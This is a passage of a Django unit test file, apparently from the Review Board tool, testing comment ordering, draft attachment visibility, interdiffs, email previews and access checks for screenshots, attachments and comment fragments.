# First reply
reply1 = self.create_reply(
main_review,
user=user1,
timestamp=(main_review.timestamp + timedelta(days=1)))
self.create_diff_comment(reply1, filediff, text=comment_text_2,
reply_to=main_comment)
# Second reply
reply2 = self.create_reply(
main_review,
user=user2,
timestamp=(main_review.timestamp + timedelta(days=2)))
self.create_diff_comment(reply2, filediff, text=comment_text_3,
reply_to=main_comment)
# Publish them out of order.
reply2.publish()
reply1.publish()
# Make sure they published in the order expected.
self.assertTrue(reply1.timestamp > reply2.timestamp)
# Make sure they're looked up in the order expected.
comments = list(
Comment.objects
.filter(review__review_request=review_request)
.order_by('timestamp')
)
self.assertEqual(len(comments), 3)
self.assertEqual(comments[0].text, comment_text_1)
self.assertEqual(comments[1].text, comment_text_3)
self.assertEqual(comments[2].text, comment_text_2)
# Now figure out the order on the page.
response = self.client.get('/r/%d/' % review_request.pk)
self.assertEqual(response.status_code, 200)
entries = response.context['entries']
self.assertEqual(len(entries), 1)
entry = entries[0]
comments = entry.comments['diff_comments']
self.assertEqual(len(comments), 1)
self.assertEqual(comments[0].text, comment_text_1)
replies = comments[0].public_replies()
self.assertEqual(len(replies), 2)
self.assertEqual(replies[0].text, comment_text_3)
self.assertEqual(replies[1].text, comment_text_2)
def test_review_detail_general_comment_ordering(self):
"""Testing review_detail and ordering of general comments on a review
"""
comment_text_1 = 'Comment text 1'
comment_text_2 = 'Comment text 2'
comment_text_3 = 'Comment text 3'
review_request = self.create_review_request(create_repository=True,
publish=True)
# Create the users who will be commenting.
user1 = User.objects.get(username='doc')
user2 = User.objects.get(username='dopey')
# Create the master review.
main_review = self.create_review(review_request, user=user1)
main_comment = self.create_general_comment(main_review,
text=comment_text_1)
main_review.publish()
# First reply
reply1 = self.create_reply(
main_review,
user=user1,
timestamp=(main_review.timestamp + timedelta(days=1)))
self.create_general_comment(reply1, text=comment_text_2,
reply_to=main_comment)
# Second reply
reply2 = self.create_reply(
main_review,
user=user2,
timestamp=(main_review.timestamp + timedelta(days=2)))
self.create_general_comment(reply2, text=comment_text_3,
reply_to=main_comment)
# Publish them out of order.
reply2.publish()
reply1.publish()
# Make sure they published in the order expected.
self.assertTrue(reply1.timestamp > reply2.timestamp)
# Make sure they're looked up in the order expected.
comments = list(
GeneralComment.objects
.filter(review__review_request=review_request)
.order_by('timestamp')
)
self.assertEqual(len(comments), 3)
self.assertEqual(comments[0].text, comment_text_1)
self.assertEqual(comments[1].text, comment_text_3)
self.assertEqual(comments[2].text, comment_text_2)
def test_review_detail_file_attachment_visibility(self):
"""Testing visibility of file attachments on review requests"""
caption_1 = 'File Attachment 1'
caption_2 = 'File Attachment 2'
caption_3 = 'File Attachment 3'
comment_text_1 = 'Comment text 1'
comment_text_2 = 'Comment text 2'
user1 = User.objects.get(username='doc')
review_request = self.create_review_request()
# Add two file attachments. One active, one inactive.
file1 = self.create_file_attachment(review_request, caption=caption_1)
file2 = self.create_file_attachment(review_request, caption=caption_2,
active=False)
review_request.publish(user1)
# Create a third file attachment on a draft.
self.create_file_attachment(review_request, caption=caption_3,
draft=True)
# Create the review with comments for each screenshot.
review = Review.objects.create(review_request=review_request,
user=user1)
review.file_attachment_comments.create(file_attachment=file1,
text=comment_text_1)
review.file_attachment_comments.create(file_attachment=file2,
text=comment_text_2)
review.publish()
# Check that we can find all the objects we expect on the page.
self.client.login(username='doc', password='doc')
response = self.client.get('/r/%d/' % review_request.pk)
self.assertEqual(response.status_code, 200)
file_attachments = response.context['file_attachments']
self.assertEqual(len(file_attachments), 2)
self.assertEqual(file_attachments[0].caption, caption_1)
self.assertEqual(file_attachments[1].caption, caption_3)
# Make sure that other users won't see the draft one.
self.client.logout()
response = self.client.get('/r/%d/' % review_request.pk)
self.assertEqual(response.status_code, 200)
file_attachments = response.context['file_attachments']
self.assertEqual(len(file_attachments), 1)
self.assertEqual(file_attachments[0].caption, caption_1)
# Make sure we loaded the reviews and all data correctly.
entries = response.context['entries']
self.assertEqual(len(entries), 1)
entry = entries[0]
comments = entry.comments['file_attachment_comments']
self.assertEqual(len(comments), 2)
self.assertEqual(comments[0].text, comment_text_1)
self.assertEqual(comments[1].text, comment_text_2)
def test_review_detail_screenshot_visibility(self):
"""Testing visibility of screenshots on review requests"""
caption_1 = 'Screenshot 1'
caption_2 = 'Screenshot 2'
caption_3 = 'Screenshot 3'
comment_text_1 = 'Comment text 1'
comment_text_2 = 'Comment text 2'
user1 = User.objects.get(username='doc')
review_request = self.create_review_request()
# Add two screenshots. One active, one inactive.
screenshot1 = self.create_screenshot(review_request, caption=caption_1)
screenshot2 = self.create_screenshot(review_request, caption=caption_2,
active=False)
review_request.publish(user1)
# Add a third screenshot on a draft.
self.create_screenshot(review_request, caption=caption_3, draft=True)
# Create the review with comments for each screenshot.
user1 = User.objects.get(username='doc')
review = Review.objects.create(review_request=review_request,
user=user1)
review.screenshot_comments.create(screenshot=screenshot1,
text=comment_text_1,
x=10,
y=10,
w=20,
h=20)
review.screenshot_comments.create(screenshot=screenshot2,
text=comment_text_2,
x=0,
y=0,
w=10,
h=10)
review.publish()
# Check that we can find all the objects we expect on the page.
self.client.login(username='doc', password='doc')
response = self.client.get('/r/%d/' % review_request.pk)
self.assertEqual(response.status_code, 200)
screenshots = response.context['screenshots']
self.assertEqual(len(screenshots), 2)
self.assertEqual(screenshots[0].caption, caption_1)
self.assertEqual(screenshots[1].caption, caption_3)
# Make sure that other users won't see the draft one.
self.client.logout()
response = self.client.get('/r/%d/' % review_request.pk)
self.assertEqual(response.status_code, 200)
screenshots = response.context['screenshots']
self.assertEqual(len(screenshots), 1)
self.assertEqual(screenshots[0].caption, caption_1)
entries = response.context['entries']
self.assertEqual(len(entries), 1)
entry = entries[0]
# Make sure we loaded the reviews and all data correctly.
comments = entry.comments['screenshot_comments']
self.assertEqual(len(comments), 2)
self.assertEqual(comments[0].text, comment_text_1)
self.assertEqual(comments[1].text, comment_text_2)
def test_review_detail_sitewide_login(self):
"""Testing review_detail view with site-wide login enabled"""
self.siteconfig.set('auth_require_sitewide_login', True)
self.siteconfig.save()
self.create_review_request(publish=True)
response = self.client.get('/r/1/')
self.assertEqual(response.status_code, 302)
def test_new_review_request(self):
"""Testing new_review_request view"""
response = self.client.get('/r/new')
self.assertEqual(response.status_code, 301)
response = self.client.get('/r/new/')
self.assertEqual(response.status_code, 302)
self.client.login(username='grumpy', password='grumpy')
response = self.client.get('/r/new/')
self.assertEqual(response.status_code, 200)
# Bug 892
def test_interdiff(self):
"""Testing the diff viewer with interdiffs"""
review_request = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request, revision=1)
self.create_filediff(
diffset,
source_file='/diffutils.py',
dest_file='/diffutils.py',
source_revision='6bba278',
dest_detail='465d217',
diff=(
b'diff --git a/diffutils.py b/diffutils.py\n'
b'index 6bba278..465d217 100644\n'
b'--- a/diffutils.py\n'
b'+++ b/diffutils.py\n'
b'@@ -1,3 +1,4 @@\n'
b'+# diffutils.py\n'
b' import fnmatch\n'
b' import os\n'
b' import re\n'
))
self.create_filediff(
diffset,
source_file='/readme',
dest_file='/readme',
source_revision='d6613f5',
dest_detail='5b50866',
diff=(
b'diff --git a/readme b/readme\n'
b'index d6613f5..5b50866 100644\n'
b'--- a/readme\n'
b'+++ b/readme\n'
b'@@ -1 +1,3 @@\n'
b' Hello there\n'
b'+\n'
b'+Oh hi!\n'
))
self.create_filediff(
diffset,
source_file='/newfile',
dest_file='/newfile',
source_revision='PRE-CREATION',
dest_detail='',
diff=(
b'diff --git a/new_file b/new_file\n'
b'new file mode 100644\n'
b'index 0000000..ac30bd3\n'
b'--- /dev/null\n'
b'+++ b/new_file\n'
b'@@ -0,0 +1 @@\n'
b'+This is a new file!\n'
))
diffset = self.create_diffset(review_request, revision=2)
self.create_filediff(
diffset,
source_file='/diffutils.py',
dest_file='/diffutils.py',
source_revision='6bba278',
dest_detail='465d217',
diff=(
b'diff --git a/diffutils.py b/diffutils.py\n'
b'index 6bba278..465d217 100644\n'
b'--- a/diffutils.py\n'
b'+++ b/diffutils.py\n'
b'@@ -1,3 +1,4 @@\n'
b'+# diffutils.py\n'
b' import fnmatch\n'
b' import os\n'
b' import re\n'
))
self.create_filediff(
diffset,
source_file='/readme',
dest_file='/readme',
source_revision='d6613f5',
dest_detail='5b50867',
diff=(
b'diff --git a/readme b/readme\n'
b'index d6613f5..5b50867 100644\n'
b'--- a/readme\n'
b'+++ b/readme\n'
b'@@ -1 +1,3 @@\n'
b' Hello there\n'
b'+----------\n'
b'+Oh hi!\n'
))
self.create_filediff(
diffset,
source_file='/newfile',
dest_file='/newfile',
source_revision='PRE-CREATION',
dest_detail='',
diff=(
b'diff --git a/new_file b/new_file\n'
b'new file mode 100644\n'
b'index 0000000..ac30bd4\n'
b'--- /dev/null\n'
b'+++ b/new_file\n'
b'@@ -0,0 +1 @@\n'
b'+This is a diffent version of this new file!\n'
))
response = self.client.get('/r/1/diff/1-2/')
# Useful for debugging any actual errors here.
if response.status_code != 200:
print('Error: %s' % self._get_context_var(response, 'error'))
print(self._get_context_var(response, 'trace'))
self.assertEqual(response.status_code, 200)
self.assertEqual(
self._get_context_var(response, 'diff_context')['num_diffs'],
2)
files = self._get_context_var(response, 'files')
self.assertTrue(files)
self.assertEqual(len(files), 2)
self.assertEqual(files[0]['depot_filename'], '/newfile')
self.assertIn('interfilediff', files[0])
self.assertEqual(files[1]['depot_filename'], '/readme')
self.assertIn('interfilediff', files[1])
# Bug 847
def test_interdiff_new_file(self):
"""Testing the diff viewer with interdiffs containing new files"""
review_request = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request, revision=1)
self.create_filediff(
diffset,
source_file='/diffutils.py',
dest_file='/diffutils.py',
source_revision='6bba278',
dest_detail='465d217',
diff=(
b'diff --git a/diffutils.py b/diffutils.py\n'
b'index 6bba278..465d217 100644\n'
b'--- a/diffutils.py\n'
b'+++ b/diffutils.py\n'
b'@@ -1,3 +1,4 @@\n'
b'+# diffutils.py\n'
b' import fnmatch\n'
b' import os\n'
b' import re\n'
))
diffset = self.create_diffset(review_request, revision=2)
self.create_filediff(
diffset,
source_file='/diffutils.py',
dest_file='/diffutils.py',
source_revision='6bba278',
dest_detail='465d217',
diff=(
b'diff --git a/diffutils.py b/diffutils.py\n'
b'index 6bba278..465d217 100644\n'
b'--- a/diffutils.py\n'
b'+++ b/diffutils.py\n'
b'@@ -1,3 +1,4 @@\n'
b'+# diffutils.py\n'
b' import fnmatch\n'
b' import os\n'
b' import re\n'
))
self.create_filediff(
diffset,
source_file='/newfile',
dest_file='/newfile',
source_revision='PRE-CREATION',
dest_detail='',
diff=(
b'diff --git a/new_file b/new_file\n'
b'new file mode 100644\n'
b'index 0000000..ac30bd4\n'
b'--- /dev/null\n'
b'+++ b/new_file\n'
b'@@ -0,0 +1 @@\n'
b'+This is a diffent version of this new file!\n'
))
response = self.client.get('/r/1/diff/1-2/')
# Useful for debugging any actual errors here.
if response.status_code != 200:
print('Error: %s' % self._get_context_var(response, 'error'))
print(self._get_context_var(response, 'trace'))
self.assertEqual(response.status_code, 200)
self.assertEqual(
self._get_context_var(response, 'diff_context')['num_diffs'],
2)
files = self._get_context_var(response, 'files')
self.assertTrue(files)
self.assertEqual(len(files), 1)
self.assertEqual(files[0]['depot_filename'], '/newfile')
self.assertIn('interfilediff', files[0])
def test_review_request_etag_with_issues(self):
"""Testing review request ETags with issue status toggling"""
self.client.login(username='doc', password='doc')
# Some objects we need.
user = User.objects.get(username='doc')
review_request = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request)
filediff = self.create_filediff(diffset)
# Create a review.
review = self.create_review(review_request, user=user)
comment = self.create_diff_comment(review, filediff,
issue_opened=True)
review.publish()
# Get the etag
response = self.client.get(review_request.get_absolute_url())
self.assertEqual(response.status_code, 200)
etag1 = response['ETag']
self.assertNotEqual(etag1, '')
# Change the issue status
comment.issue_status = Comment.RESOLVED
comment.save()
# Check the etag again
response = self.client.get(review_request.get_absolute_url())
self.assertEqual(response.status_code, 200)
etag2 = response['ETag']
self.assertNotEqual(etag2, '')
# Make sure they're not equal
self.assertNotEqual(etag1, etag2)
# Bug #3384
def test_diff_raw_content_disposition_attachment(self):
"""Testing /diff/raw/ Content-Disposition: attachment; ..."""
review_request = self.create_review_request(create_repository=True,
publish=True)
self.create_diffset(review_request=review_request)
response = self.client.get('/r/%d/diff/raw/' % review_request.pk)
self.assertEqual(response.status_code, 200)
self.assertEqual(response['Content-Disposition'],
'attachment; filename=diffset')
# Bug #3704
def test_diff_raw_multiple_content_disposition(self):
"""Testing /diff/raw/ multiple Content-Disposition issue"""
review_request = self.create_review_request(create_repository=True,
publish=True)
# Create a diffset with a comma in its name.
self.create_diffset(review_request=review_request, name='test, comma')
response = self.client.get('/r/%d/diff/raw/' % review_request.pk)
content_disposition = response['Content-Disposition']
filename = content_disposition[len('attachment; filename='):]
self.assertFalse(',' in filename)
# Bug #4080
def test_bug_url_with_custom_scheme(self):
"""Testing whether bug url with non-HTTP scheme loads correctly"""
# Create a repository with a bug tracker that uses a non-standard
# url scheme.
repository = self.create_repository(public=True,
bug_tracker='scheme://bugid=%s')
review_request = self.create_review_request(repository=repository,
publish=True)
url = reverse('bug_url', args=(review_request.pk, '1'))
response = self.client.get(url)
# Test if we redirected to the correct url with correct bugID.
self.assertEqual(response['Location'], 'scheme://bugid=1')
def test_preview_review_request_email_access_with_debug(self):
"""Testing preview_review_request_email access with DEBUG=True"""
review_request = self.create_review_request(publish=True)
with self.settings(DEBUG=True):
response = self.client.get(
local_site_reverse(
'preview-review-request-email',
kwargs={
'review_request_id': review_request.pk,
'message_format': 'text',
}))
self.assertEqual(response.status_code, 200)
def test_preview_review_request_email_access_without_debug(self):
"""Testing preview_review_request_email access with DEBUG=False"""
review_request = self.create_review_request(publish=True)
with self.settings(DEBUG=False):
response = self.client.get(
local_site_reverse(
'preview-review-request-email',
kwargs={
'review_request_id': review_request.pk,
'message_format': 'text',
}))
self.assertEqual(response.status_code, 404)
def test_preview_review_request_email_with_valid_change_id(self):
"""Testing preview_review_request_email access with valid change ID"""
review_request = self.create_review_request(create_repository=True,
publish=True)
self.create_diffset(review_request, draft=True)
review_request.publish(review_request.submitter)
with self.settings(DEBUG=True):
response = self.client.get(
local_site_reverse(
'preview-review-request-email',
kwargs={
'review_request_id': review_request.pk,
'message_format': 'text',
'changedesc_id': review_request.changedescs.get().pk,
}))
self.assertEqual(response.status_code, 200)
def test_preview_review_request_email_with_invalid_change_id(self):
"""Testing preview_review_request_email access with invalid change ID
"""
review_request = self.create_review_request(create_repository=True,
publish=True)
self.create_diffset(review_request, draft=True)
review_request.publish(review_request.submitter)
with self.settings(DEBUG=True):
response = self.client.get(
local_site_reverse(
'preview-review-request-email',
kwargs={
'review_request_id': review_request.pk,
'message_format': 'text',
'changedesc_id': 100,
}))
self.assertEqual(response.status_code, 404)
def test_preview_review_email_access_with_debug(self):
"""Testing preview_review_email access with DEBUG=True"""
review_request = self.create_review_request(publish=True)
review = self.create_review(review_request, publish=True)
with self.settings(DEBUG=True):
response = self.client.get(
local_site_reverse(
'preview-review-email',
kwargs={
'review_request_id': review_request.pk,
'review_id': review.pk,
'message_format': 'text',
}))
self.assertEqual(response.status_code, 200)
def test_preview_review_email_access_without_debug(self):
"""Testing preview_review_email access with DEBUG=False"""
review_request = self.create_review_request(publish=True)
review = self.create_review(review_request, publish=True)
with self.settings(DEBUG=False):
response = self.client.get(
local_site_reverse(
'preview-review-email',
kwargs={
'review_request_id': review_request.pk,
'review_id': review.pk,
'message_format': 'text',
}))
self.assertEqual(response.status_code, 404)
def test_preview_review_reply_email_access_with_debug(self):
"""Testing preview_review_reply_email access with DEBUG=True"""
review_request = self.create_review_request(publish=True)
review = self.create_review(review_request, publish=True)
reply = self.create_reply(review, publish=True)
with self.settings(DEBUG=True):
response = self.client.get(
local_site_reverse(
'preview-review-reply-email',
kwargs={
'review_request_id': review_request.pk,
'review_id': review.pk,
'reply_id': reply.pk,
'message_format': 'text',
}))
self.assertEqual(response.status_code, 200)
def test_preview_review_reply_email_access_without_debug(self):
"""Testing preview_review_reply_email access with DEBUG=False"""
review_request = self.create_review_request(publish=True)
review = self.create_review(review_request, publish=True)
reply = self.create_reply(review, publish=True)
with self.settings(DEBUG=False):
response = self.client.get(
local_site_reverse(
'preview-review-reply-email',
kwargs={
'review_request_id': review_request.pk,
'review_id': review.pk,
'reply_id': reply.pk,
'message_format': 'text',
}))
self.assertEqual(response.status_code, 404)
def test_view_screenshot_access_with_valid_id(self):
"""Testing view_screenshot access with valid screenshot for review
request
"""
review_request = self.create_review_request(publish=True)
screenshot = self.create_screenshot(review_request)
response = self.client.get(
local_site_reverse(
'screenshot',
kwargs={
'review_request_id': review_request.pk,
'screenshot_id': screenshot.pk,
}))
self.assertEqual(response.status_code, 200)
def test_view_screenshot_access_with_valid_id_and_draft(self):
"""Testing view_screenshot access with valid screenshot for review
request draft
"""
review_request = self.create_review_request(publish=True)
screenshot = self.create_screenshot(review_request, draft=True)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'screenshot',
kwargs={
'review_request_id': review_request.pk,
'screenshot_id': screenshot.pk,
}))
self.assertEqual(response.status_code, 200)
def test_view_screenshot_access_with_valid_inactive_id(self):
"""Testing view_screenshot access with valid inactive screenshot for
review request
"""
review_request = self.create_review_request(publish=True)
screenshot = self.create_screenshot(review_request, active=False)
response = self.client.get(
local_site_reverse(
'screenshot',
kwargs={
'review_request_id': review_request.pk,
'screenshot_id': screenshot.pk,
}))
self.assertEqual(response.status_code, 200)
def test_view_screenshot_access_with_valid_inactive_id_and_draft(self):
"""Testing view_screenshot access with valid inactive screenshot for
review request draft
"""
review_request = self.create_review_request(publish=True)
screenshot = self.create_screenshot(review_request, draft=True,
active=False)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'screenshot',
kwargs={
'review_request_id': review_request.pk,
'screenshot_id': screenshot.pk,
}))
self.assertEqual(response.status_code, 200)
def test_view_screenshot_access_with_invalid_id(self):
"""Testing view_screenshot access with invalid screenshot for review
request
"""
review_request = self.create_review_request(publish=True)
screenshot = self.create_screenshot(review_request)
review_request2 = self.create_review_request(publish=True)
response = self.client.get(
local_site_reverse(
'screenshot',
kwargs={
'review_request_id': review_request2.pk,
'screenshot_id': screenshot.pk,
}))
self.assertEqual(response.status_code, 404)
def test_view_screenshot_access_with_invalid_id_and_draft(self):
"""Testing view_screenshot access with invalid screenshot for review
request draft
"""
review_request = self.create_review_request(publish=True)
screenshot = self.create_screenshot(review_request, draft=True)
review_request2 = self.create_review_request(publish=True)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'screenshot',
kwargs={
'review_request_id': review_request2.pk,
'screenshot_id': screenshot.pk,
}))
self.assertEqual(response.status_code, 404)
def test_view_screenshot_access_with_invalid_inactive_id(self):
"""Testing view_screenshot access with invalid inactive screenshot
for review request
"""
review_request = self.create_review_request(publish=True)
screenshot = self.create_screenshot(review_request, active=False)
review_request2 = self.create_review_request(publish=True)
response = self.client.get(
local_site_reverse(
'screenshot',
kwargs={
'review_request_id': review_request2.pk,
'screenshot_id': screenshot.pk,
}))
self.assertEqual(response.status_code, 404)
def test_view_screenshot_access_with_invalid_inactive_id_and_draft(self):
"""Testing view_screenshot access with invalid inactive screenshot
for review request draft
"""
review_request = self.create_review_request(publish=True)
screenshot = self.create_screenshot(review_request, draft=True,
active=False)
review_request2 = self.create_review_request(publish=True)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'screenshot',
kwargs={
'review_request_id': review_request2.pk,
'screenshot_id': screenshot.pk,
}))
self.assertEqual(response.status_code, 404)
def test_review_file_attachment_access_with_valid_id(self):
"""Testing review_file_attachment access with valid attachment for
review request
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request.pk,
'file_attachment_id': attachment.pk,
}))
self.assertEqual(response.status_code, 200)
def test_review_file_attachment_access_with_valid_id_and_draft(self):
"""Testing review_file_attachment access with valid attachment for
review request draft
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request, draft=True)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request.pk,
'file_attachment_id': attachment.pk,
}))
self.assertEqual(response.status_code, 200)
def test_review_file_attachment_access_with_invalid_id(self):
"""Testing review_file_attachment access with invalid attachment for
review request
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request)
review_request2 = self.create_review_request(publish=True)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request2.pk,
'file_attachment_id': attachment.pk,
}))
self.assertEqual(response.status_code, 404)
def test_review_file_attachment_access_with_invalid_id_and_draft(self):
"""Testing review_file_attachment access with invalid attachment for
review request draft
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request, draft=True)
review_request2 = self.create_review_request(publish=True)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request2.pk,
'file_attachment_id': attachment.pk,
}))
self.assertEqual(response.status_code, 404)
def test_review_file_attachment_access_with_valid_inactive_id(self):
"""Testing review_file_attachment access with valid inactive
attachment for review request
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request, active=False)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request.pk,
'file_attachment_id': attachment.pk,
}))
self.assertEqual(response.status_code, 200)
def test_review_file_attachment_access_with_valid_inactive_id_draft(self):
"""Testing review_file_attachment access with valid inactive
attachment for review request draft
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request, draft=True,
active=False)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request.pk,
'file_attachment_id': attachment.pk,
}))
self.assertEqual(response.status_code, 200)
def test_review_file_attachment_access_with_invalid_inactive_id(self):
"""Testing review_file_attachment access with invalid inactive
attachment for review request
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request, active=False)
review_request2 = self.create_review_request(publish=True)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request2.pk,
'file_attachment_id': attachment.pk,
}))
self.assertEqual(response.status_code, 404)
def test_review_file_attachment_access_invalid_inactive_id_draft(self):
"""Testing review_file_attachment access with invalid inactive
attachment for review request draft
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request, draft=True,
active=False)
review_request2 = self.create_review_request(publish=True)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request2.pk,
'file_attachment_id': attachment.pk,
}))
self.assertEqual(response.status_code, 404)
def test_review_file_attachment_access_with_valid_diff_against_id(self):
"""Testing review_file_attachment access with valid diff-against
attachment for review request
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request)
attachment2 = self.create_file_attachment(review_request)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request.pk,
'file_attachment_id': attachment.pk,
'file_attachment_diff_id': attachment2.pk,
}))
self.assertEqual(response.status_code, 200)
def test_review_file_attachment_access_valid_diff_against_id_draft(self):
"""Testing review_file_attachment access with valid diff-against
attachment for review request draft
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request)
attachment2 = self.create_file_attachment(review_request, draft=True)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request.pk,
'file_attachment_id': attachment.pk,
'file_attachment_diff_id': attachment2.pk,
}))
self.assertEqual(response.status_code, 200)
def test_review_file_attachment_access_with_invalid_diff_against_id(self):
"""Testing review_file_attachment access with invalid diff-against
attachment for review request
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request)
review_request2 = self.create_review_request(publish=True)
attachment2 = self.create_file_attachment(review_request2)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request.pk,
'file_attachment_id': attachment.pk,
'file_attachment_diff_id': attachment2.pk,
}))
self.assertEqual(response.status_code, 404)
def test_review_file_attachment_access_invalid_diff_against_id_draft(self):
"""Testing review_file_attachment access with invalid diff-against
attachment for review request draft
"""
review_request = self.create_review_request(publish=True)
attachment = self.create_file_attachment(review_request)
review_request2 = self.create_review_request(publish=True)
attachment2 = self.create_file_attachment(review_request2, draft=True)
# Log in so that we can check against the draft.
username = review_request.submitter.username
self.client.login(username=username, password=username)
response = self.client.get(
local_site_reverse(
'file-attachment',
kwargs={
'review_request_id': review_request.pk,
'file_attachment_id': attachment.pk,
'file_attachment_diff_id': attachment2.pk,
}))
self.assertEqual(response.status_code, 404)
def _get_context_var(self, response, varname):
for context in response.context:
if varname in context:
return context[varname]
return None
class CommentDiffFragmentsViewTests(TestCase):
"""Unit tests for the comment_diff_fragments view."""
fixtures = ['test_users', 'test_scmtools']
def test_get_with_unpublished_review_request_not_owner(self):
"""Testing comment_diff_fragments with unpublished review request and
user is not the owner
"""
user = User.objects.create(username='reviewer')
review_request = self.create_review_request(create_repository=True)
diffset = self.create_diffset(review_request)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request, user=user)
comment1 = self.create_diff_comment(review, filediff)
comment2 = self.create_diff_comment(review, filediff)
review.publish()
response = self.client.get(
'/r/%d/fragments/diff-comments/%d,%d/'
% (review_request.pk, comment1.pk, comment2.pk))
self.assertEqual(response.status_code, 403)
def test_get_with_unpublished_review_request_owner(self):
"""Testing comment_diff_fragments with unpublished review request and
user is the owner
"""
user = User.objects.create_user(username='test-user',
password='test-user')
review_request = self.create_review_request(create_repository=True,
submitter=user)
diffset = self.create_diffset(review_request)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request, user=user)
comment1 = self.create_diff_comment(review, filediff)
comment2 = self.create_diff_comment(review, filediff)
review.publish()
self.assertTrue(self.client.login(username='test-user',
password='test-user'))
response = self.client.get(
'/r/%d/fragments/diff-comments/%d,%d/'
% (review_request.pk, comment1.pk, comment2.pk))
self.assertEqual(response.status_code, 200)
self.assertEqual(len(response.context['comment_entries']), 2)
self.assertEqual(response.context['comment_entries'][0]['comment'],
comment1)
self.assertEqual(response.context['comment_entries'][1]['comment'],
comment2)
@add_fixtures(['test_site'])
def test_get_with_published_review_request_local_site_access(self):
"""Testing comment_diff_fragments with published review request on
a Local Site the user has access to
"""
user = User.objects.create_user(username='test-user',
password='test-user')
review_request = self.create_review_request(create_repository=True,
with_local_site=True,
publish=True)
diffset = self.create_diffset(review_request)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request)
comment1 = self.create_diff_comment(review, filediff)
comment2 = self.create_diff_comment(review, filediff)
review.publish()
review_request.local_site.users.add(user)
self.assertTrue(self.client.login(username='test-user',
password='test-user'))
response = self.client.get(
'/s/local-site-1/r/%d/fragments/diff-comments/%d,%d/'
% (review_request.display_id, comment1.pk, comment2.pk))
self.assertEqual(response.status_code, 200)
self.assertEqual(len(response.context['comment_entries']), 2)
self.assertEqual(response.context['comment_entries'][0]['comment'],
comment1)
self.assertEqual(response.context['comment_entries'][1]['comment'],
comment2)
@add_fixtures(['test_site'])
def test_get_with_published_review_request_local_site_no_access(self):
"""Testing comment_diff_fragments with published review request on
a Local Site the user does not have access to
"""
User.objects.create_user(username='test-user',
password='test-user')
review_request = self.create_review_request(create_repository=True,
with_local_site=True,
publish=True)
diffset = self.create_diffset(review_request)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request)
comment1 = self.create_diff_comment(review, filediff)
comment2 = self.create_diff_comment(review, filediff)
review.publish()
self.assertTrue(self.client.login(username='test-user',
password='test-user'))
response = self.client.get(
'/s/local-site-1/r/%d/fragments/diff-comments/%d,%d/'
% (review_request.display_id, comment1.pk, comment2.pk))
self.assertEqual(response.status_code, 403)
def test_get_with_valid_comment_ids(self):
"""Testing comment_diff_fragments with valid comment ID"""
user = User.objects.create(username='reviewer')
review_request = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request, user=user)
comment1 = self.create_diff_comment(review, filediff)
comment2 = self.create_diff_comment(review, filediff)
review.publish()
response = self.client.get(
'/r/%d/fragments/diff-comments/%d,%d/'
% (review_request.pk, comment1.pk, comment2.pk))
self.assertEqual(response.status_code, 200)
self.assertEqual(len(response.context['comment_entries']), 2)
self.assertEqual(response.context['comment_entries'][0]['comment'],
comment1)
self.assertEqual(response.context['comment_entries'][1]['comment'],
comment2)
def test_get_with_valid_and_invalid_comment_ids(self):
"""Testing comment_diff_fragments with mix of valid comment IDs and
comment IDs not found in database
"""
user = User.objects.create(username='reviewer')
review_request = self.create_review_request(create_repository=True,
publish=True)
diffset = self.create_diffset(review_request)
filediff = self.create_filediff(diffset)
review = self.create_review(review_request, user=user)
comment = self.create_diff_comment(review, filediff)
review.publish()
response = self.client.get(
'/r/%d/fragments/diff-comments/999,%d/'
% (review_request.pk, comment.pk))
self.assertEqual(response.status_code, 200)
